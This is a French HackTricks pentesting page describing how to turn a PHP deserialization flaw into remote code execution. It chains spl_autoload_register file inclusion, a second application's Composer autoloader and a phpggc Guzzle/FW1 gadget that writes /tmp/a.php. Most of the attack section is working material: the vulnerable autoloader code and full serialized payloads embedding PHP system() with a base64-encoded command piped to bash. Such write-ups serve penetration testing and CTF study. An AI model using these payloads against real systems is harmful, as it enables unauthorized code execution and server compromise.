hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
2023-06-03 13:10:46 +00:00

9.5 KiB

PHP - Désérialisation + Classes d'autoload

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Tout d'abord, vous devez vérifier ce que sont les Classes d'autoload.

PHP désérialisation + spl_autoload_register + LFI/Gadget

Nous sommes dans une situation où nous avons trouvé une désérialisation PHP dans une application web sans bibliothèque vulnérable aux gadgets à l'intérieur de phpggc. Cependant, dans le même conteneur, il y avait une autre application web de compositeur avec des bibliothèques vulnérables. Par conséquent, l'objectif était de charger le chargeur de compositeur de l'autre application web et de l'exploiter pour charger un gadget qui exploitera cette bibliothèque avec un gadget de l'application web vulnérable à la désérialisation.

Étapes :

  • Vous avez trouvé une désérialisation et il n'y a pas de gadget dans le code de l'application actuelle
  • Vous pouvez abuser d'une fonction spl_autoload_register comme celle-ci pour charger n'importe quel fichier local avec l'extension .php
    • Pour cela, vous utilisez une désérialisation où le nom de la classe va être à l'intérieur de $name. Vous ne pouvez pas utiliser "/" ou "." dans un nom de classe dans un objet sérialisé, mais le code est en train de remplacer les traits de soulignement ("_") par des barres obliques ("/"). Ainsi, un nom de classe tel que tmp_passwd sera transformé en /tmp/passwd.php et le code essaiera de le charger.
      Un exemple de gadget sera : O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

   if (preg_match('/Controller$/', $name)) {
       $name = "controllers/${name}";
   } elseif (preg_match('/Model$/', $name)) {
       $name = "models/${name}";
   } elseif (preg_match('/_/', $name)) {
       $name = preg_replace('/_/', '/', $name);
   }

   $filename = "/${name}.php";

   if (file_exists($filename)) {
       require $filename;
   }
   elseif (file_exists(__DIR__ . $filename)) {
       require __DIR__ . $filename;
   }
});

{% hint style="success" %} Si vous avez un téléchargement de fichier et que vous pouvez télécharger un fichier avec l'extension .php, vous pouvez exploiter directement cette fonctionnalité et obtenir déjà une RCE. {% endhint %}

Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur du même conteneur une autre page web de compositeur avec une bibliothèque vulnérable à un gadget phpggc.

  • Pour charger cette autre bibliothèque, vous devez d'abord charger le chargeur de compositeur de cette autre application web (parce que celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). En connaissant le chemin de l'application, vous pouvez y parvenir très facilement avec: O:28:"www_frontend_vendor_autoload":0:{} (Dans mon cas, le chargeur de compositeur était dans /www/frontend/vendor/autoload.php)
  • Maintenant, vous pouvez charger les autres chargeurs de compositeur de l'application, il est donc temps de générer la charge utile phpgcc à utiliser. Dans mon cas, j'ai utilisé Guzzle/FW1, ce qui m'a permis d'écrire n'importe quel fichier dans le système de fichiers.
    • REMARQUE: Le gadget généré ne fonctionnait pas, pour qu'il fonctionne, j'ai modifié cette charge utile chain.php de phpggc et j'ai défini tous les attributs des classes de privé à public. Sinon, après la désérialisation de la chaîne, les attributs des objets créés n'avaient aucune valeur.
  • Maintenant, nous avons le moyen de charger les autres chargeurs de compositeur de l'application et d'avoir une charge utile phpggc qui fonctionne, mais nous devons le faire dans la MÊME REQUÊTE pour que le chargeur soit chargé lorsque le gadget est utilisé. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme suit:
    • Vous pouvez voir d'abord le chargeur chargé, puis la charge utile.

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • Maintenant, nous pouvons créer et écrire un fichier, cependant, l'utilisateur ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web. Ainsi, comme vous pouvez le voir dans la charge utile, PHP appelle system avec du base64 qui est créé dans /tmp/a.php. Ensuite, nous pouvons réutiliser le premier type de charge utile que nous avons utilisé pour LFI pour charger le chargeur de compositeur de l'autre application web pour charger le fichier /tmp/a.php généré. Il suffit de l'ajouter au gadget de désérialisation:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

Résumé de la charge utile

  • Charger l'autoloader de composer d'une autre application web dans le même conteneur
  • Charger un gadget phpggc pour abuser d'une bibliothèque de l'autre application web (l'application web initiale vulnérable à la désérialisation n'avait aucun gadget sur ses bibliothèques)
  • Le gadget va créer un fichier avec une charge utile PHP dedans dans /tmp/a.php avec des commandes malveillantes (l'utilisateur de l'application web ne peut pas écrire dans n'importe quel dossier de n'importe quelle application web)
  • La dernière partie de notre charge utile va charger le fichier php généré qui exécutera des commandes

J'ai dû appeler cette désérialisation deux fois. Dans mes tests, la première fois, le fichier /tmp/a.php a été créé mais pas chargé, et la deuxième fois, il a été correctement chargé.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥